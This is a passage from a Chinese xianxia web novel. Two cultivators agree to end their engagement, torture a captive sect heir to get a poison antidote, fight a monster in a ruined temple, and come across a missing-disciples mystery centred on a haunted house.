娄危雪转过身,用眼神询问,还有什么事情,结果听到沈清鸿问:“你还要退婚吗?” 如果这个?人?不叫沈清鸿,如果她没有看过那本书,如果…… 可从来都没有如果,只有摆在面前的赤果果的现实?。 娄危雪咬牙,嗓音艰涩,只有一个?字。 “退。” 沈清鸿冷笑一声?,她早该料到的,只是她以为发?生了昨晚上的事情后?,娄危雪或许会有些转变。 不过事实?就是,没有。 “那就退。” 这次沈清鸿没有再驳回娄危雪的要求,周旋那么久,她累了。 就算没有与娄危雪的婚约,她也会想办法暂且留下?,调查云文君。 娄危雪没有听到预想中的答案,怔愣一瞬,还以为自?己是听错了。 由于太过震惊,娄危雪问了一遍:“你说什么?” “我答应你和你退婚。” “当真?” “当真。” 纠缠了这么久,又是故意和玲溪传谣言惹人?生气,又是追着人?天天逼问的,可不就是为了让沈清鸿答应退婚吗? 可是沈清鸿答应后?,娄危雪心底却漫上一股说不上来的滋味。 她勉强扯起嘴角,让自?己看起来显得高兴一些。 娄危雪故作轻松,“你终于答应退婚了。” “是,但是要等等。” “等什么?” 目的就要达成,可是娄危雪却高兴不起来,心里空落落的,仿佛缺失了一块。 不过这些与活下?来相比,还是活着最重要。 在这种人?人?都修仙的世界,寿命被拉得很长,一生就慢了很多,拥有无限可能。 可若是死了,就什么都没了。 “等合欢散解了,我就和你退婚。” 沈清鸿的声?音拉回娄危雪飘走的思绪,娄危雪诧异。 “你怎么也?” “因为双修。” 沈清鸿冷漠回答,双修是会把娄危雪身体内的合欢散渡到她身上,可是那点?残毒对她不算什么,最主要还是当时与娄危雪契约时,娄危雪送过来的那滴血。 只不过她不可能把灵兽的事情告诉娄危雪。 而?且既然要退婚,那就退得干净些,她可不想婚都退了,她还要因为合欢散的原因找娄危雪。 她是沈清鸿,天一宗未来的掌门,她有自?己的准则与尊严。 娄危雪本就因为对了沈清鸿做出那样的事情而?自?责,听到沈清鸿说受她影响也感染了合欢散,就更?加自?责了。 不过现在她抓了花厌,至少不是全无办法。 “关于合欢散解药的事情,我有个?好消息。” “什么?” 娄危雪没有回答,只道:“我有个?地?方?要带你去,等你去了你就知道了。” “好。” 沈清鸿应下?,准备穿衣服,可是看娄危雪还看着她,没有丝毫避嫌的意思。 她额头青筋跳了一下?,“转过去!” 娄危雪反应过来,摸摸鼻子,转过了身。 身后?响起窸窸窣窣的穿衣动静,一些暧昧的画面止不住地?从娄危雪脑海里浮现,叫她一阵脸红心跳。 意识到自?己在想什么东西?后?,娄危雪赶紧拍了拍自?己的脸。 色痞东西?,不能乱想! 控制住你的心!你们现在已经没什么关系了! 想到这,娄危雪又止不住地?失望。 以后?都没关系了,这不就是她想要的嘛。 娄危雪垂下?头,脑中废料全部消失。 沈清鸿没叫娄危雪等太久,很快穿好衣裙,头发?被她用一支簪子随意地?束起,看上去无比爽利。 她穿着的仍旧是白衣,广袖宽袍,身上什么装饰都没有,清清冷冷的。 高山雪,从来都只是高山雪,不是自?己可以随意沾染的,也不是自?己能招惹的。 娄危雪带着沈清鸿来到霜雪居,推开自?己房间?的门,走入相连着的耳房,挥手解开掩人?耳目的术法。 花厌的身形顿时出现在房间?中。?*? 沈清鸿看着被绑着的人?,讶然,“她是?” “她是合欢宗的少主,花厌。” 陌生的声?音让花厌睁开眼睛,她原本以为来的人?会是玲溪和娄危雪,没想到竟然是沈清鸿。 花厌没有说话?,只是警惕地?盯着面前的人?,不知道娄危雪这次是又想到了什么办法,来逼问她关于解药的事情。 “合欢宗的少主,想必有合欢散的解药。” 娄危雪摇头,“我搜过她的身,没有发?现任何药品。” “身为合欢宗的少主,就算没有合欢散的解药,也该知道合欢散的解药配方?。” 沈清鸿和当初娄危雪想到一处去了,只不过娄危雪并没有要到药方?。 “我已经抓到她好些天了,可她嘴严得很,始终不愿意交代,就算我答应她交出解药会放她离开,她都没有答应。” 沈清鸿皱眉,瞥了娄危雪一眼,目光中充满嫌弃。 似乎很不理解,人?都抓到这么多天了,娄危雪怎么会一点?收获都没有。 被这一眼伤到的娄危雪:…… “是,我知道,我是废物。” 娄危雪拉开她平常坐着和花厌谈条件的椅凳,伸出手。 “仙尊,您请。” 沈清鸿轻哼一声?,走过去坐下?,娄危雪就站在沈清鸿的身后?,如护法一般。 沈清鸿薄唇轻启:“花厌。” 被叫到的人?浑身紧绷,眼神满是防备,根本保持不了以往面对娄危雪的从容。 “我们刚刚的话?,你该听到了,我要合欢散的解药。” 沈清鸿淡定?从容,话?语里带着不容拒绝的气魄,“我不是娄危雪,没有那么多的耐心和你周旋,你最好现在就把我要的东西?交出来,否则我不介意用一些非常手段。” 花厌咬牙,“除非放了我,不然我不会把东西?给你们。” 沈清鸿冷笑一声?,走到花厌身旁,手腕翻转,指风如电,快速地?封了她几处筋脉。 娄危雪见状,立刻狗腿地?威胁:“快不赶紧把解药交出来,不然待会有你受的!” 花厌紧紧皱着眉头,目光如剑,射向沈清鸿,恨不得用眼神将她给当场刺穿。 “你对我做了什么?” 沈清鸿面容冷静,“你很快就知道了。” 娄危雪也很好奇,她安静地?站在一边等着。 没多会儿,就见花厌一脸痛苦,身体不停地?扭动着。 她面容扭曲,咬牙切齿。 “天一宗的清鸿仙尊,竟然用这般下?作的手段!不知道传出去,那些敬仰你的人?会怎么想!” 沈清鸿嗤笑,这种话?对她来说不痛不痒。 在天一宗的时候,她审问了不少妖邪,那些人?被逼急了,什么话?都说得出来,可比花厌说得恶毒许多。 “我一开始就给了你机会,是你不珍惜。” “现在,我们可以来聊聊解药的事情了。” “你休想!”花厌竖眉瞪眼,凶神恶煞,“我不会说!你就等着合欢散发?作吧!” 她怀着最大的恶意猜测,“真想看看修无情道的仙尊,在每个?月合欢散发?作时,摇尾乞怜狼狈求欢的模样。” 沈清鸿面无表情,根本就不把花厌的话?放在心上,倒是娄危雪先站不住了。 她本就觉得愧对沈清鸿,现在听花厌这般说沈清鸿,脸即刻黑了。 “闭嘴!” 娄危雪怒目而?视,干脆丢了个?决过去,禁了花厌的言,防止她再说出什么难听的话?出来。 药的作用逐渐加深,花厌全身上下?如同被蚂蚁啃噬,又痒又痛。 她想要去挠,可是因为被绑着,手根本触碰不到肌肤,得不到一丝慰藉,只能被动地?承受着身体传来的痒意和疼痛。 花厌攥紧拳头,指甲深深陷入掌心,鲜血渗出,但那点?痛,根本不及痛苦的万分之?一。 没多久花厌的衣服就被汗水打湿,她张嘴喊叫,可是由于被禁言,声?音全消。 青筋自?花厌的脖子处蜿蜒暴起,她的眼睛睁得大大的,里面血丝遍布,一片通红。 娄危雪如同在看一场诡异的默片,心底阵阵发?寒。 她抬手想解除花厌的禁言,让人?至少有个?发?泄的出口。 沈清鸿看出她的意图,按下?娄危雪的胳膊。 “现在还不是时候。” 她嗓音平静无波,听不出喜怒。 娄危雪打了个?寒颤,这一刻,只觉得如坠冰窟。 她又想起书中那段关于原身万剑凌迟的描写,那个?时候沈清鸿也是这般冷漠,高高在上,白袍翩然,不染任何尘埃,留不下?半点?血痕。 因为挣扎得厉害,花厌身上的锁灵绳,在她身上留下?道道痕迹,有些地?方?的绳子甚至已经勒进肌肤。 嫣红的血从伤口处流下?,染红锁灵绳,也染红花厌身上的衣服。 娄危雪不敢想象,一个?人?得疼到什么地?步,才能不管不顾疯了般地?想要挣脱。 在审问这件事情上,娄危雪帮不上任何的忙,沈清鸿没有发?话?,娄危雪就一直没有出声?。 不知过了多久,花厌似乎终于受不了了,猛地?仰起头,眼睛睁大到一个?可怕的地?步,然后?紧接着双眼闭上,头一歪,直接晕了过去。 娄危雪惊吓不已,手足无措,“她她她……” “死不了。” 沈清鸿嗓音冷漠,终于有了动作。 她挥手解开娄危雪布下?的禁言术,又伸手从桌上拿了茶杯,倒了水,毫不留情地?朝花厌泼去。 冰凉的茶水顺着花厌的发?丝滴落,原本晕过去没有动静的人?,缓缓睁开眼睛。 只不过她刚醒过来,身上的疼痛立刻叫嚣起来。 花厌面容瞬间?扭曲,叫声?撕心裂肺,娄危雪听得头皮发?麻。 沈清鸿倒是什么反应都没有,她扬扬下?巴,问道:“现在,你愿意说了吗?” “我,”花厌嗓音破碎,艰难地?挤出回答:我说…… 沈清鸿抬手解了花厌被封的经脉,花厌身上如蚂蚁啃噬的痛意消失。 她大口地?喘息,汗水凝成大颗的水珠,顺着她的面颊滴落,砸在地?下?。 沈清鸿给足了花厌缓解的时间?,直到花厌呼吸平稳许多,沈清鸿才再次出声?。 “说吧。” “合欢散对我们合欢宗来说很重要,我不能把合欢散解药的药方?给你,但是我可以带你们去拿合欢散的解药。” 沈清鸿皱起眉,她现在还需要在云霄门探查关于云文君的事情,并不想和花厌去不知道的地?方?拿解药。 看到沈清鸿神色不好,花厌生怕惹怒沈清鸿,再给她吃下?什么折磨人?的药物。 她忙道:“就算我把解药的药方?给你们,你们也解不开身上的合欢散。” 娄危雪不解,“为什么?” “解药中有一味特殊的药材叫断情草,只有合欢宗的圣山才有,而?且必须在采下?的三个?时辰内使用,如果超过这个?时间?,解药就没用了。” “如果你们想要解药,就要放了我。” 娄危雪狐疑,“怎么会有这么稀奇古怪的解药,你该不会是想要我们放你离开,所以扯个?谎来骗我们吧?” “我如果想骗你,早在一开始你问我的时候就说了,没必要等到现在。” 花厌紧张地?解释,说话?的时候看着沈清鸿。 沈清鸿的手段太过可怕,如果沈清鸿不相信她,她恐怕会被折磨疯的。 花厌强调:“我真的没骗你们!” 沈清鸿眼睛微眯,审视几秒后?,收回视线。 在天一宗审了那么多妖邪,眼前的人?有没有说谎,她还是能分辨出来的。 “她没骗我们。” 花厌听后?,松了口气,从来没有因为被人?信任而?这般高兴过。 娄危雪当然是非常相信沈清鸿,沈清鸿说没骗,那就是没骗。 不过…… 娄危雪微撩双眉,为难不已,“我爹虽然解了我的禁闭,但他不让我出宗门,还要我……” 说到这里,娄危雪瞥了沈清鸿一眼,声?音放低嘟囔道:“还要我和仙尊你好好培养感情。” 沈清鸿从娄危雪含糊的声?音中,辨出了娄危雪的话?。 她抿着唇,眼神有一瞬间?的暗沉,不过很快就迅速恢复。 沈清鸿沉思片刻,回道:“这件事我有办法,等会儿你和我一起去见娄宗主,配合我说话?就好。” “嗷,好。” 娄危雪没有多问,只是应下?。 两?人?说定?事情,娄危雪抬手把耳房的结界重新恢复,离开这里。 正当两?人?准备出去的时候,房门被人?敲响,玲溪的声?音传了进来。 “少门主,你在吗?” 第30章 娄危雪毫不避讳地把门打开,玲溪还在敲门的手?顿在半空。 她愣了一下,发现屋里不止有娄危雪,还有沈清鸿。 “清鸿仙尊?” 沈清鸿朝玲溪点点头,算是打招呼。 娄危雪看?到玲溪手?中提着的早餐盒,明了地让过身。 “先进来吧。” 玲溪走入屋内,把属于娄危雪的那?顿早餐摆在桌子上,然后看?了眼沈清鸿目露犹豫。 娄危雪明白她的意思,主动道:“你?去?吧,清鸿仙尊知道的。” “好。” 玲溪很有分?寸感地没有过多追问,她带着剩下的那?份早餐朝里间走去?。 不过才?刚进去?没多久,玲溪又慌里慌张地跑了出来,看?上去?十分?无措。 “少门主,少主她……” “她没事,只是为了问解药使了一些?手?段,你?不必担心。” 娄危雪宽慰着,又补充了句:“不过之?后你?不用再过来给她送饭了。” 玲溪有些?不安,“为何?” “如果想要解开合欢散就必须去?合欢宗的圣山,之?后我会和清鸿仙尊一起,带着花厌去?圣山寻找解药。” 玲溪怔愣一瞬,似乎每次合欢散的解药发放之?前,负责炼药的长老都?会去?圣山一趟,说是取炼药的药材。 看?来少主没有骗她们,解药确实与?圣山有关。 娄危雪见玲溪这反应,更加确信花厌昨夜没有骗她和沈清鸿。 正想着,就听到玲溪问:“少门主,可?以?让我和你?们一起去?吗?” “圣山那?里很危险,有不少的机关阵法,还有驯养的毒虫猛兽,寻常人去?若是没人指引很容易出事。” 似乎是怕娄危雪不答应,玲溪积极地说着带自?己一起去?的好处。 “而且我是合欢宗的人,如果你?们过去?的话,带着我也会方便些?,说不定我还可?以?给你?们打掩护。” 和玲溪相处了这段时间,娄危雪还是比较相信玲溪的,完全不担心玲溪会在路上使什么小?花招。 毕竟玲溪如果想做什么,在给花厌送餐接触的这段时间早就做了,完全不用等到之?后。 娄危雪点了点头,对此没有什么意见。 “我没问题,清鸿仙尊,你?觉得呢?” 沈清鸿颔首,“那?便如此吧。” “就这么说定了。” 娄危雪敲定事情,从容地坐到桌边,然后盛了三碗粥出来。 一份给沈清鸿,一份给玲溪,一份给她自?己。 “天大地大,吃饭最大,现在先吃饭吧!” 娄危雪拿起筷子,朝配粥的小?菜夹去?,吃了一口,顿时幸福地眯起眼睛。 “唔,好吃。” 虽然在云霄门不自?由,但是这吃得真是没话说。 见那?两人还站着,娄危雪招手?。 “吃饭啊,愣着干什么。” 沈清鸿看?着少女?的笑颜,恍惚间觉得似乎又回到了当初在山中小?屋的时候。 那?个时候娄危雪也是这般,早早地做好早餐,然后喊她一起吃饭。 沈清鸿那?双深邃的眼眸里涌动着一种说不清的感情,她垂下眸掩饰下所?有的情绪,在娄危雪的对面坐下。 粥上热气蒸腾,遮挡住了她的视线,她似乎已经很久没有这样和娄危雪一起吃饭了。 她拿起勺子舀了一勺稍微吹了吹然后吃下,粥食滚热顺着食道滑下,仿佛烫得人连心都?热了。 一顿早餐很快用完,玲溪去?了弟子堂,在弟子堂的长老那?里登记了自?己之?后要下山历练的事情。 至于娄危雪,则是和沈清鸿一起去?拜访了娄青涯。 在去?找娄青涯的路上,娄危雪把玲溪和花厌之?间的事情和沈清鸿说了一遍。 都?要一起去?圣山了,还是得让沈清鸿知道一下玲溪的身份。 沈清鸿并未多说什么,只是叮嘱了几句,让娄危雪在路上要多加小?心,毕竟有花厌在,这一路上不可?能太过安稳。 两人说话间就已经到了娄青涯住所?,远远地便看?见一个身影,正是娄青涯。 娄青涯见娄危雪和沈清鸿一起过来,眸中闪过一抹讶然,随后被很快掩饰。 他不露声色,看?着并肩站着的两人。 这段日子宗门里娄危雪和沈清鸿关系的传闻他听了不少,不过看?现在两人和谐相处的样子,娄危雪想必是想通了。 只是不知道她们一起过来是为了什么? “你?们怎么来了?” 娄危雪嬉笑着走到娄青涯身边,“爹,我有事情想和你?商量。” “什么事?” “我想下山。”怕娄青涯不答应,她补充道:“和清鸿仙尊一起。” 沈清鸿顺势回答:“是这样的,我听说石沧山那?一带有凶兽出没,想过去?看?看?,九寒知道后说要和我一起过去?,但是听说娄宗主不许九寒离开宗门,所?以?我过来问问娄宗主的意见。” 这是难得的可?以?培养娄危雪和沈清鸿感情的机会,娄青涯对此倒是乐见其成。 “原来如此,既然这样那?你?便去?吧,只要你别给清鸿惹麻烦就行。” 娄危雪眼睛发亮,听这意思是答应了? 她笑容骤增,连忙举手保证:“爹你放心,我会好好听清鸿仙尊的话,绝对不会给仙尊惹麻烦!” 娄青涯无奈地看?了娄危雪一眼,侧眸看?向沈清鸿:“清鸿,九寒她在云霄山长大,这么久也没怎么出去?过,此次下山如果有什么做不好的地方,还请你?多担待些?。” 沈清鸿微微颔首,“娄宗主放心,我会照顾好她的。” “爹,我们走了,剩下的等回来再说吧。” 娄危雪不想再听两人说场面话,匆匆丢下一句话后,就迫不及待地拉着沈清鸿走了。 娄青涯看?着两人远去?的背影,无奈直摇头。 取解药这种事情,宜早不宜晚,早一天拿到,就能早一天摆脱合欢散,也可?以?快点结束婚约。 娄危雪把人拉走后,便有些?迫不及待了。 “既然我爹答应,那?我们今日就走吧。” 沈清鸿对此没有意见,点头道:“你?回去?收拾些?路上会用到的东西,带上花厌和玲溪,我们在山门口集合。” “没问题。” 娄危雪比了个手?势,兴冲冲地转身离开。 一个时辰后,四人在山门口齐聚。 花厌身上的锁灵绳已经被娄危雪解开,沈清鸿见状,亲手?封住了花厌的经脉。 感受到灵力重新被封,花厌脸色着实说不上好看?。 她咬牙切齿,“清鸿仙尊还真是谨慎。” 沈清鸿没有理会,只冷冷看?了她一眼。 倒是娄危雪,伸手?毫不留情地拍上花厌背,把人给拍了一个趔趄。 “对你?这样的人,当然要谨慎点。” 花厌闻言脸色更难看?了,但无奈受制于人,说不得什么,只冷哼一声。 玲溪见状,忙出来圆场,“这山门口来来回回不少人,我们还是先出发吧。” “行,出发!” 一行四人,下山前往合欢宗。 合欢宗位处川清大陆的最南部,距离云霄门则处于大陆的东北部,两者之?间有着不小?的距离。 几天后,某处城郊外的道路上。 娄危雪身上衣裙翻飞,头发被吹得朝后飘去?,她顶着大风往前走,有树叶被风吹来,差点糊到她的脸上。 天上阴云密布,空气中带着股湿意,天色越来越暗。 娄危雪伸手?挡了下风,“这天看?样子是要下雨了,玲溪,我们还要多久才?能到啊?” 玲溪拿出地图,查看?了一下,“如果按照我们平常的赶路速度,大概再过两个时辰,就可?以?到达下一座城池。” “那?便快些?走吧。” 四人埋头赶路,花厌由于没有修为,被玲溪带着走,速度快得差点要飞起来。 大概又走了半个时辰,天空彻底被黑沉沉的乌云笼罩,透不出一丝亮光。 一颗雨滴从高空坠落,砸在娄危雪的肩头,带着冰凉的湿意。 “下雨了。” 话音刚落,就有越来越多的雨滴落下,在地上砸出一个个墨色的小?圆点,没多久道路就湿了一片。 几人的速度更快了,不过还没赶多久,一座破庙出现在四人的视线中。 这个时候天空已经彻底暗下,周遭黑茫茫的一片。 娄危雪见状提议,“天色已经暗了,花厌经脉被封用不了灵力,等雨下大后我们带着她,路只会更难走,不如在这里暂且留宿已晚,等第二?天雨停了我们再继续赶路。” “那?就这样。” 沈清鸿颔首,四人走入庙中。 破庙年久失修,中间有一座石雕的佛像,佛头已经不见,身上结满蜘蛛网,屋顶有不少地方已经破了,雨水顺着破洞落到屋中,在地上晕开一片又一片的水迹。 刚一迈入门内,沈清鸿就感觉到了什么,朝着破庙的东南方墙角看?去?。 娄危雪顺着她的视线,也望了过去?。 在破庙的东南角有一名女?子,背对着四人,肩膀一抖一抖的,似乎是在哭泣,看?着好生可?怜。 “姑娘,你?怎么了?” “别过去?!” 沈清鸿说完了,娄危雪已经靠近了女?子,手?也已经搭在了女?子的肩膀上。 女?子感受到肩膀上的动静,缓缓转过脸。 电光闪过,雷声轰鸣。 娄危雪表情僵住,身子刹那?间凉了一大截。 这哪里是什么女?子,分?明是个怪物。 怪物胸襟前的衣服是一大片血迹干涸后的黑红色,它佝偻着背脊,瘦骨嶙峋,眼窝深陷,脸上只有一层干皮,手?脚胳膊细得仿佛竹竿,指甲尖锐,淡淡的桃红色自?怪物的指甲根处开始往指尖蔓延,逐渐加深。 看?到娄危雪,怪物喉咙中发出嗬嗬的声响,伸着手?朝娄危雪袭来。 铮—— 均湘剑出现在娄危雪眼前,挡下了那?差点就戳到娄危雪眼睛的指尖。 怪物手?指被均湘剑气所?伤,发出一声惨叫。 “啊啊啊啊啊!” 怪物的叫声和娄危雪的声音交织在一起。 娄危雪终于从惊吓中回神,哆嗦着朝沈清鸿的身边跑去?。 “清鸿仙尊,救命啊!” 尽管知道穿到修仙这种背景的书中,出现什么稀奇古怪的东西都?不算奇怪,可?娄危雪长这么大,还是第一次遇见这种不是人的东西。 怪物见手?下的猎物逃走,眼睛发红,嚎叫一声,再次朝着娄危雪扑去?。 沈清鸿白袍飘动,挡在娄危雪面前,均湘剑已经回到她的手?中。 她侧身躲过怪物的攻击,抬手?出剑。 怪物根本?就不是沈清鸿的对手?,只一个照面就被斩落一条胳膊。 这怪物显然意识到打不过沈清鸿,毫不恋战,朝着破庙门口跑去?。 花厌自?娄危雪一开始被袭击的时候,就站在那?里,抱臂看?戏。 怪物要逃出破庙,见到有人挡路,一爪子挠了过去?,花厌没想到她看?戏看?得好好的,战火会转移到自?己身上。 “该死。” 花厌低咒一声,狼狈地躲开。 不过因为没有灵力,花厌躲避的动作慢了一点,她的袖子被怪物的指尖勾到,在摔倒的前一瞬,花厌看?到怪物右手?的手?腕下似乎有着一个印记,她好像在哪里看?到过。 也就转眼的工夫,怪物破门而出。 玲溪赶到花厌身边,将摔倒的花厌扶起,眼神难掩紧张。 “少主,你?怎么样?” “我没事。” 破庙中,娄危雪紧紧跟在沈清鸿身边,伸手?想去?抓沈清鸿的衣服,犹豫了一下又收回来了,只不过和沈清鸿挨得更近了,两人肩头快要碰到一起。 刚刚那?个怪物给娄危雪带来了莫大的冲击,她瞪着眼睛,有些?惊魂未定。 “清鸿仙尊,刚刚那?是什么东西?” 沈清鸿双眉紧皱,摇了摇头。 “我不知道。” 那?个东西有着人形,看?着该是个人,可?是人要怎么样才?会变成那?副模样? 若说是邪修,但又和沈清鸿记忆中的不一样,方才?在与?她交手?的时候,怪物并没有使用任何法术,只是一昧的挥舞着胳膊,靠着蛮力。 娄危雪诧异,竟然连沈清鸿都?不知道那?东西是什么。 庙内一时无人说话,只有闪电时不时亮起一瞬,伴随着轰轰雷声。 有冷风吹过,娄危雪被雨打湿的衣服贴在身上,她忍不住打了个哆嗦。 娄危雪抱紧自?己的胳膊搓了两下,脑子里关于怪物的画面无论如何都?挥之?不去?,再一看?这间破庙,只觉处处阴森。 她嗓音颤抖,“要不,我们还是连夜进城吧,这荒郊野岭的谁知道会不会再次出现个什么东西。” 沈清鸿摇头,“宵禁的时间快到了,就算我们冒雨赶路,也根本?进不了城门。” 说话间,沈清鸿丢出法诀,把两人身上的衣服弄干。 娄危雪有些?不安,“万一那?怪物回来怎么办?” “今晚我来守夜,如果它回来,我会把它赶走的。” 沈清鸿拿出火折子点亮烛火,暖暖的烛光,稍微驱散了一些?娄危雪心底的寒意。 再加上沈清鸿说要守夜,娄危雪仅剩的一点害怕,也消失了。 那?边玲溪也已经把自?己和花厌的衣服弄干,正在朝娄危雪这边走来,却觉得脚底被咯了一下,好像是踩到了什么东西。 “嗯?” 玲溪将脚挪开,弯腰把地上的东西捡起查看?。 这是一个用明黄色绸布做成的香囊,不同于市面上常见的花朵纹饰,这个香囊上面绣着一只小?黄鸡,模样活灵活现的,可?以?看?出绣这个香囊的人手?工很好。 娄危雪注意到玲溪那?边的动静,询问道:“怎么了?” 玲溪走过去?,把手?上的东西递给娄危雪,“这好像是刚刚那?个怪物身上掉下来的。” 她记得之?前进来的时候,那?一处的地上什么都?没有。 这个香囊很有可?能是怪物在打斗,或者是逃跑的过程中,从身上掉下来的。 娄危雪接过香囊,香囊散发着淡淡的药香,只是有些?脏了,除了玲溪踩在上面的脚印外,还有着斑斑点点的暗绣色,像是曾经有血溅上去?过。 她把香囊打开,里面大多是一些?用来安神的寻常药材,只有少数几种,娄危雪并不识得。 沈清鸿闻言也看?了一眼,“这怪物出现的蹊跷,香囊或许与?怪物的来历有关,先暂且收起来吧。” “好。” 娄危雪听话,乖乖地把香囊揣进了怀中。 由于第二?天还要赶路,屋内几人早早地休息了,沈清鸿守了一晚上,什么事情都?没有发生。 翌日,众人一早便醒了。 娄危雪走出破庙,仰头看?了眼天空。 天空没有放晴,乌云压顶很低,就连呼吸的每一口空气都?带着潮湿的水汽,仿佛随时都?有一场暴雨落下。 “这天气不妙啊,趁着现在没下雨,我们还是早点出发吧。” 四人对此都?没有意见,各自?简单的收拾一下自?己,便继续赶路了。 她们运气比昨天好,等到进入城中一家客栈的时候,天上的雨才?哗哗落下。 “掌柜的,住店,三间上房。” 娄危雪说着掏出银袋子,不过她没注意,连带着把昨夜在破庙里捡到的香囊也给弄掉了。 正当娄危雪弯腰去?捡的时候,一只白皙的纤手?出现在她眼前,有人先一步把香囊捡了起来。 娄危雪愕然,抬眸看?去?,这个捡香囊的人竟然还是她认识的。 “寄春?”娄危雪惊喜不已,“好巧,你?怎么在这里?” 李寄春脸上并没有与?友人重逢的喜悦,她神色严肃,举了举手?中的香囊。 “危雪,这是我师妹的香囊,你?是从哪得到的?” 娄危雪着实怔了一下,“你?确定没认错?” 李寄春摇头,她把香囊打开,将里面的药材倒出,一样样地说着。 “砂仁、柏子仁、白芍……这个配方是我新研究出来的,里面的药材也都?是我亲自?配好放进去?的。” “还有这只小?黄鸡,是我绣的,我怎么可?能会认错!” 李寄春看?到香囊上的脏污,神色仓皇,一把抓住娄危雪的手?。 “危雪,告诉我,我师妹她到底怎么了?” 娄危雪神色复杂,如实答道:“我们昨夜在城外的破庙里遇到了一个怪物,这香囊是那?怪物身上掉下来的。” “怎么会这样……”李寄春眼眶红了一圈,似乎是不能接受这样的事情,她抓娄危雪抓得更紧了,连嗓音都?尖锐几分?,“危雪,那?个怪物在哪里,你?带我去?看?看?好不好?” “怪物昨晚逃走了,城外这么大,又下了一夜的大雨,就算有什么痕迹,也已经被雨水冲刷没了。” 娄危雪暗自?懊恼,如果早知道那?个怪物和寄春的师妹有关系,说什么她都?会把怪物拦下的。 这是与?师妹有关的线索,李寄春不愿意轻易放弃。 她坚持,“就算这样,我也得去?看?看?。” 见友人情绪激动,娄危雪放缓自?己的声音,温柔地劝说着:“寄春,你?先别急,这只是一个香囊,并不能证明你?师妹出事了。” “你?不如先和我说说你?师妹怎么了?我们大家一起帮你?想办法,好不好?” 李寄春和娄危雪是好友,对娄危雪比较信任,便没有隐瞒。 “事情是这样的,我师妹三个月前在宗门接到一份委托,她按照委托上的地址来到这里,第一天给我传过一次消息,之?后便再无音讯,也迟迟没有回到宗门。” 这边李寄春正说着,楼上下来一行人,听到对话走了过来。 “不好意思,打扰一下。” 一个穿着蓝袍的弟子突然出现,插入对话,“这位道友,你?师妹接到的委托,是不是与?城北乔宅有关系?” “是,”李寄春望向说话的人,“请问你?们有什么事情?” “在下贺凡,旁边这分?别是我的两个师妹,林乔、林沐。” “我们都?是济苍宗的弟子,两个月前我们的几个师妹接到了同样的委托,过来之?后便失踪了。” 娄危雪皱起双眉,总结道:“这么说的话,你?们的师妹都?是在接到乔宅的委托,来了这里之?后失踪的。” “可?是这未免太巧合了些?。” 一直没说话的沈清鸿,闻言道:“既然如此,不如去?乔宅探探,看?看?到底是什么情况。” 掌柜的站在柜台里,把众人的对话听了个清楚。 现在听沈清鸿说要去?乔宅,连忙出来阻止,“各位道长,使不得,万万使不得啊!” 娄危雪不解,“为何使不得?” “这乔宅是个凶宅,去?不得啊!” 30-40 第31章 看?掌柜这反应,像是知道些什么。 娄危雪从钱袋子中拿出几块碎银,顺势放到柜台上。 “掌柜的,你刚刚应该听到了,我们认识的人?失踪了,或许与乔宅有关?系,你如果知道什么,还请你帮帮我们。” 掌柜闻言深深叹了口气,和众人?说了起来。 “乔宅那户人?家,是一年前搬过?来的,身家颇丰,刚来的时候,招了不少下人?到宅子里做工,不过?要的是女子,而且要求严格,但由于给的月钱足够高,好?些人?挤破头都想进去。” “这本该是件好?事?,可惜才?过?去半年,那宅子里的人?就一个个地失踪了,有人?夜晚曾经路过?乔宅那边,说是听到宅子里有怪物嚎叫,之前失踪的人?,恐怕就是被宅子里的妖祟给吃了。” “久而久之,乔宅有妖祟吃人?的事?情就传开了,乔夫人?也曾去仙家门?派发布委托,接委托过?来的人?不少,可是去了之后?就再没出来过?。” 说到这里,掌柜身体抖得?更加厉害,一脸害怕。 “各位道长,我知道你们都有本事?,可是那乔宅已经吃了不少人?了,是真的不能去啊。” 娄危雪朝掌柜安抚一笑,没有发表任何意见。 “多谢掌柜,我们知道了。” 掌柜还当娄危雪是听下去了,松了口气,给娄危雪开好?房间。 拿着掌柜给的钥匙,娄危雪看?向众人?:“寄春,还有济苍宗的三位,不如我们一起上去商量商量?” 李寄春摇头,乔宅凶险,师妹很?有可能是在乔宅出的事?,她不能让危雪牵扯其中。 “危雪,我……” “一切等?上去再说。”娄危雪一眼看?出李寄春的想法,立刻打断她的话,拿着钥匙先上楼去了。 济苍宗的三人?对视一眼,纷纷跟上,李寄春无奈,一咬牙也跟了上去。 娄危雪用?掌柜给的钥匙打开客房,让众人?进屋。 由于进来的人?太?多,原本看?起来很?大的房间,就显得?拥挤许多。 刚刚在楼下的时候,大家相?互了解得?都差不多了。 娄危雪没有绕弯子,直接开门?见山。 “关?于你们师妹失踪的事?情,你们怎么想?” 贺凡看?看?林乔和林沐,站出来朝众人?道:“原本我们来这里,就是打算一起去乔宅探探,看?看?能不能找到失踪师妹的线索,掌柜的既然那么说,我们当然?*?更要过?去了。” 娄危雪点头了然,看?向李寄春,“你呢?” 李寄春抿唇,她手中还攥着那个有些脏了的香囊,通红的眼眶里,是一片坚定。 “我师妹是接了乔宅的委托后?失踪的,所以不管乔宅里究竟有什么东西,我都要去乔宅看?看?。” “我就知道你会这么说。”娄危雪叹了口气,“我跟你们一起去。” “不行,”李寄春听后?第一个不同意,她的眉毛紧紧皱在一起,劝说道:“听掌柜的说法,乔宅那头凶兽已经不知道吃了多少人?了,危雪,你原本就与这件事?情无关?,还是不要去涉险了。” 娄危雪摇头,“寄春,你不想让我涉险,可是我又怎么能放心让你过?去。” 她刚刚穿越到这本书里的时候,李寄春和她的师傅正好?来云霄门?做客。 李寄春喜欢往药堂跑,偏巧娄危雪受伤,要去药堂看?病,药堂的长老?不在,李寄春就帮娄危雪看?了,这一来二去的两人?就成了朋友。 那段时间李寄春教了她不少东西,当初她在山中小屋给沈清鸿治疗伤口,还有在房间用?药对付花厌的本事?,可都是从李寄春那里学来的。 现在李寄春遇到事?情,她又岂能坐视不理。 听了许久的沈清鸿,在此刻出声:“我跟你们一起去。” 玲溪闻言立即道:“我也去。” 林乔见娄危雪她们都要去,忍不住劝说:“这几位道友,你们如果没有认识的人?在里面失踪,还是暂且先不要去了,那里凶险,不如让我等?先去探探,若是无事?,你们再去也不迟。” 林沐应和,“是啊,如果到时候我等?没有出来,道友还可以帮忙去搬救兵。” 娄危雪摇头,她指了指身边站着的人?。 “你们知道这位是谁吗?” 站在娄危雪身边的沈清鸿闻言眉梢微挑。 场上几个不认识沈清鸿的人?面面相?觑,不知道娄危雪突然问这个做什么。 贺凡看?了眼沈清鸿,迟疑一瞬,顺着娄危雪的话问:“不知这位是?” 